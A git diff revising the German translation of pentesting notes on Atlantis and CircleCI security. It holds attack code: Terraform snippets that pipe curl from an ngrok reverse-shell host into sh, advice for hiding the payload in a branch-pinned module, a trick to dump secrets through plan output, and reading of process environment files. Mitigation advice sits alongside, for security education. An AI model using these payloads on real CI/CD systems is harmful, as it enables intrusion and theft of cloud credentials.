> [!WARNING]
-> Aus der Sicht eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, um es **zu kompromittieren**.
+> Aus der Perspektive eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, **kompromittiert zu werden**.
#### Webhooks
@@ -35,36 +35,36 @@ Eine Möglichkeit, dies zu bestätigen, wäre, **Anfragen nur von den IPs** Ihre
Beachten Sie, dass Sie, es sei denn, Sie verwenden einen privaten GitHub- oder Bitbucket-Server, Webhook-Endpunkte ins Internet exponieren müssen.
> [!WARNING]
-> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Sicht eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**.
+> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Perspektive eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**.
-#### Anbieter-Anmeldeinformationen
+#### Anbieteranmeldeinformationen
[Aus der Dokumentation:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis führt Terraform aus, indem es einfach die **Befehle `terraform plan` und `apply`** auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.
+Atlantis führt Terraform aus, indem es einfach die **`terraform plan` und `apply`**-Befehle auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.
Es liegt an Ihnen, wie Sie [Anmeldeinformationen bereitstellen](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) für Ihren spezifischen Anbieter an Atlantis:
-- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieter-Anmeldeinformationen. Lesen Sie deren Dokumentation.
-- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z.B.:
+- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieteranmeldeinformationen. Lesen Sie deren Dokumentation.
+- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z. B.:
- [AWS EC2-Rollen](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Suchen Sie nach "EC2-Rolle")
- [GCE-Instanzdienstkonten](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Viele Benutzer setzen Umgebungsvariablen, z.B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird.
-- Andere erstellen die erforderlichen Konfigurationsdateien, z.B. `~/.aws/credentials`, wo Atlantis ausgeführt wird.
-- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieter-Anmeldeinformationen zu erhalten.
+- Viele Benutzer setzen Umgebungsvariablen, z. B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird.
+- Andere erstellen die erforderlichen Konfigurationsdateien, z. B. `~/.aws/credentials`, wo Atlantis ausgeführt wird.
+- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieteranmeldeinformationen zu erhalten.
> [!WARNING]
-> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, Github...) enthalten, die Atlantis über Terraform verwaltet.
+> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, GitHub...) enthalten, die Atlantis über Terraform verwaltet.
#### Webseite
-Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis apply zu aktivieren/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).
+Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis anzuwenden/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).
-Sie werden sie wahrscheinlich nicht im Internet exponiert finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen).
+Sie werden sie wahrscheinlich nicht im Internet finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen).
### Serverkonfiguration
-Die Konfiguration für `atlantis server` kann über Befehlszeilen-Flags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.
+Die Konfiguration für `atlantis server` kann über Befehlszeilenflags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.
- Sie finden [**hier die Liste der unterstützten Flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) für den Atlantis-Server.
- Sie finden [**hier, wie man eine Konfigurationsoption in eine Umgebungsvariable umwandelt**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
@@ -76,36 +76,36 @@ Werte werden **in dieser Reihenfolge ausgewählt**:
3. Konfigurationsdatei
> [!WARNING]
-> Beachten Sie, dass Sie in der Konfiguration möglicherweise interessante Werte wie **Tokens und Passwörter** finden.
+> Beachten Sie, dass Sie in der Konfiguration interessante Werte wie **Tokens und Passwörter** finden könnten.
#### Repo-Konfiguration
Einige Konfigurationen beeinflussen, **wie die Repos verwaltet werden**. Es ist jedoch möglich, dass **jedes Repo unterschiedliche Einstellungen erfordert**, sodass es Möglichkeiten gibt, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können jedoch einige Schlüssel hier ohne bestimmte Flags, die dies erlauben, nicht angegeben werden.
-2. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden.
-3. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt).
-4. **Standard**-Werte.
+1. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden.
+2. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML-Datei, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt).
+3. **Standard**-Werte.
**PR-Schutz**
-Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`mergeable`** (Branch-Schutz bestanden) **ist, bevor apply ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen.
+Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`zusammenführbar`** ist (Branch-Schutz bestanden) **bevor `apply` ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen.
Falls `allowed_overrides` wahr ist, können diese Einstellungen **in jedem Projekt durch die `/atlantis.yml`-Datei überschrieben werden**.
**Skripte**
-Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden**.
+Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden.**
Es gibt keine Option, um **diese Skripte** in der **Repo `/atlantis.yml`**-Datei anzugeben.
**Workflow**
In der Repo-Konfiguration (serverseitige Konfiguration) können Sie [**einen neuen Standard-Workflow angeben**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) oder [**neue benutzerdefinierte Workflows erstellen**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Sie können auch **angeben**, welche **Repos** auf die **neuen** generierten zugreifen können.\
-Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow anzugeben.
+Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow **anzugeben**.
> [!CAUTION]
-> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch potenziell erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\
+> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\
> Dies würde im Grunde **RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann, gewähren**.
>
> ```yaml
@@ -126,12 +126,12 @@ Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwen
**Conftest-Policy-Überprüfung**
-Atlantis unterstützt die Ausführung von **serverseitigen** [**conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:
+Atlantis unterstützt die Ausführung von **serverseitigen** [**Conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:
- Verweigerung der Nutzung einer Liste von Modulen
- Überprüfung von Attributen einer Ressource zum Zeitpunkt der Erstellung
- Auffangen unbeabsichtigter Ressourcenlöschungen
-- Verhinderung von Sicherheitsrisiken (z.B. das Exponieren sicherer Ports für die Öffentlichkeit)
+- Verhinderung von Sicherheitsrisiken (z. B. das Offenlegen sicherer Ports für die Öffentlichkeit)
Sie können überprüfen, wie Sie es in [**der Dokumentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) konfigurieren.
@@ -165,14 +165,14 @@ atlantis apply [options] -- [terraform apply flags]
> [!WARNING]
> Wenn Sie während der Ausnutzung diesen **Fehler** finden: `Error: Error acquiring the state lock`
-Sie können es beheben, indem Sie Folgendes ausführen:
+Sie können ihn beheben, indem Sie Folgendes ausführen:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Konfigurationsänderung in neuem PR
-Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen**.
+Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers durchzuführen**.
Sie können dies tun, indem Sie [**Atlantis eine externe Datenquelle laden lassen**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Fügen Sie einfach eine Payload wie die folgende in die `main.tf`-Datei ein:
```json
@@ -180,11 +180,11 @@ data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
-**Stealthier Angriff**
+**Tarnung Angriff**
-You can perform this attack even in a **stealthier way**, by following this suggestions:
+Sie können diesen Angriff sogar auf eine **tarnendere Weise** durchführen, indem Sie diese Vorschläge befolgen:
-- Statt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
+- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
@@ -192,12 +192,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
-- Verwenden Sie im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Stattdessen** von einem **PR zu master** zu erstellen, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**.
+- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **Stattdessen** erstellen Sie einen **PR zu master**, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**.
#### Atlantis Plan Secrets Dump
-Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die terraform-Datei einfügen:
+Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die Terraform-Datei einfügen:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -210,7 +210,7 @@ Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch
Sie müssen jedoch normalerweise einige Schutzmaßnahmen umgehen:
- **Mergeable**: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie **`atlantis apply` nur ausführen, wenn der PR mergeable ist** (was bedeutet, dass der Branch-Schutz umgangen werden muss).
-- Überprüfen Sie mögliche [**Umgehungen von Branch-Schutzmaßnahmen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- Überprüfen Sie mögliche [**Branch-Schutzumgehungen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: Wenn dieser Schutz in Atlantis aktiviert ist, muss **ein anderer Benutzer den PR genehmigen**, bevor Sie `atlantis apply` ausführen können.
- Standardmäßig können Sie das [**Gitbot-Token missbrauchen, um diesen Schutz zu umgehen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen.
+Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen.
#### Terraform Param Injection
-Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie Folgendes schreiben:
+Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -266,10 +266,10 @@ Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:
> plan:
> steps:
> - init
-> - run: mein benutzerdefinierter Planbefehl
+> - run: my custom plan command
> apply:
> steps:
-> - run: mein benutzerdefinierter Anwendungsbefehl
+> - run: my custom apply command
> ```
#### Umgehung von Plan-/Anwendungs-Schutzmaßnahmen
@@ -282,7 +282,7 @@ apply_requirements: []
```
#### PR Hijacking
-Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird dies dazu führen, dass Terraform ausgeführt wird, wenn Sie es nicht möchten.
+Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird Terraform ausgeführt, wenn Sie es nicht möchten.
Darüber hinaus, wenn Sie nicht in den **Branch-Schutz** konfiguriert haben, um bei jedem **neuen Commit** zu verlangen, dass jeder PR **neu bewertet** wird, könnte jemand **bösartige Konfigurationen** (siehe vorherige Szenarien) in der Terraform-Konfiguration schreiben, `atlantis plan/apply` ausführen und RCE erlangen.
@@ -300,7 +300,7 @@ Bitbucket Cloud unterstützt **keine Webhook-Secrets**. Dies könnte Angreifern
- Das bedeutet, dass ein **Angreifer** **falsche Anfragen an Atlantis** stellen könnte, die so aussehen, als kämen sie von Bitbucket.
- Wenn Sie `--repo-allowlist` angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden, den sie anrichten könnten, darin bestünde, auf Ihren eigenen Repos zu planen/anwenden.
-- Um dies zu verhindern, erlauben Sie nur [Bitbucket-IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen).
+- Um dies zu verhindern, erlauben Sie [Bitbucket's IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen).
### Post-Exploitation
@@ -313,19 +313,19 @@ Wenn Sie Zugriff auf den Server erhalten haben oder zumindest LFI haben, gibt es
- `/proc/1/environ` Umgebungsvariablen
- `/proc/[2-20]/cmdline` Cmd-Zeile von `atlantis server` (kann sensible Daten enthalten)
-### Mitigations
+### Mitigationen
-#### Don't Use On Public Repos
+#### Verwenden Sie es nicht auf öffentlichen Repos
Da jeder auf öffentlichen Pull-Requests kommentieren kann, ist es selbst mit allen verfügbaren Sicherheitsmaßnahmen immer noch gefährlich, Atlantis auf öffentlichen Repos ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen.
-#### Don't Use `--allow-fork-prs`
+#### Verwenden Sie nicht `--allow-fork-prs`
-Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` (standardmäßig auf false) nicht setzen, da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.
+Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` nicht setzen (Standard ist false), da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.
#### `--repo-allowlist`
-Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das `--repo-allowlist`-Flag akzeptiert. Zum Beispiel:
+Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das Flag `--repo-allowlist` akzeptiert. Zum Beispiel:
- Bestimmte Repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Ihre gesamte Organisation: `--repo-allowlist=github.com/runatlantis/*`
@@ -334,37 +334,37 @@ Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen
Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe `atlantis server --help` für weitere Details.
-#### Protect Terraform Planning
+#### Schützen Sie Terraform-Planung
-Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) verwendet oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.
+Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.
Um dies zu verhindern, könnten Sie:
1. Anbieter in das Atlantis-Image einbacken oder hosten und den Ausgang im Produktionsumfeld verweigern.
2. Das Anbieter-Registry-Protokoll intern implementieren und öffentlichen Ausgang verweigern, sodass Sie kontrollieren, wer Schreibzugriff auf das Registry hat.
-3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt ändern, um gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern zu validieren. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" auf dem PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein.
+3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt so modifizieren, dass er gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern validiert. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" für den PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein.
-#### Webhook Secrets
+#### Webhook-Secrets
-Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten `--repo-allowlist`-Flag könnten Angreifer Anfragen an Atlantis stellen, die sich als ein erlaubtes Repository ausgeben. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.
+Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten Flag `--repo-allowlist` könnten Angreifer Anfragen an Atlantis stellen, die sich als ein Repository ausgeben, das auf der Allowlist steht. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.
Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen grundlegenden Benutzernamen und ein Passwort hinzu.
-#### Azure DevOps Basic Authentication
+#### Azure DevOps Basis-Authentifizierung
-Azure DevOps unterstützt das Senden eines grundlegenden Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.
+Azure DevOps unterstützt das Senden eines Basis-Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.
#### SSL/HTTPS
Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP läuft, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags `--ssl-cert-file` und `--ssl-key-file`.
-#### Enable Authentication on Atlantis Web Server
+#### Aktivieren Sie die Authentifizierung auf dem Atlantis-Webserver
Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit `--web-basic-auth=true` und richten Sie einen Benutzernamen und ein Passwort mit den Flags `--web-username=yourUsername` und `--web-password=yourPassword` ein.
-Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true`, `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`.
+Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`.
-### References
+### Referenzen
- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 2a71f6cc1..7f7e2b6f1 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -9,9 +9,9 @@
### Berechtigungen
**CircleCI** **erbt die Berechtigungen** von GitHub und Bitbucket, die mit dem **Konto** verbunden sind, das sich anmeldet.\
-In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festzulegen, Projekt-API-Schlüssel zu erhalten, neue Branches mit neuen CircleCI-Konfigurationen zu erstellen...).
+In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festlegen, Projekt-API-Schlüssel abrufen, neue Branches mit neuen CircleCI-Konfigurationen erstellen...).
-Sie müssen jedoch ein **Repo-Administrator** sein, um das **Repo in ein CircleCI-Projekt umzuwandeln**.
+Sie müssen jedoch ein **Repo-Administrator** sein, um **das Repo in ein CircleCI-Projekt umzuwandeln**.
### Umgebungsvariablen & Geheimnisse
@@ -19,7 +19,7 @@ Laut [**den Dokumenten**](https://circleci.com/docs/2.0/env-vars/) gibt es versc
#### Eingebaute Umgebungsvariablen
-Jeder von CircleCI ausgeführte Container hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`.
+Jeder Container, der von CircleCI ausgeführt wird, hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`.
#### Klartext
@@ -31,7 +31,7 @@ command: |
SECRET="A secret"
echo $SECRET
```
-Sie können sie im Klartext innerhalb der **run environment** deklarieren:
+Sie können sie im Klartext innerhalb der **Ausführungsumgebung** deklarieren:
```yaml
- run:
name: "set and echo"
@@ -69,13 +69,13 @@ Sie können sie **deklariert in** _https://app.circleci.com/settings/project/git
#### Kontextgeheimnisse
-Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** auf **jedes Geheimnis** zugreifen, das hier gespeichert ist:
+Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** **auf jedes Geheimnis** zugreifen, das hier gespeichert ist:
.png>)
> [!TIP]
> Beachten Sie jedoch, dass eine andere Gruppe (anstatt aller Mitglieder) **ausgewählt werden kann, um den Zugriff auf die Geheimnisse nur bestimmten Personen zu gewähren**.\
-> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder darauf zugreifen kann, sondern nur einige Personen.
+> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder Zugriff darauf hat, sondern nur einige Personen.
### Angriffe
@@ -83,11 +83,11 @@ Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **je
Wenn Sie **Zugriff auf das VCS** (wie GitHub) haben, überprüfen Sie die Datei `.circleci/config.yml` von **jedem Repo in jedem Branch** und **suchen** Sie nach potenziellen **Klartextgeheimnissen**, die dort gespeichert sind.
-#### Geheim-Umgebungsvariablen & Kontextenumeration
+#### Aufzählung von geheimen Umgebungsvariablen & Kontexten
Durch Überprüfung des Codes können Sie **alle Geheimnisnamen** finden, die in jeder `.circleci/config.yml`-Datei **verwendet** werden. Sie können auch die **Kontextnamen** aus diesen Dateien abrufen oder sie in der Webkonsole überprüfen: _https://app.circleci.com/settings/organization/github/\/contexts_.
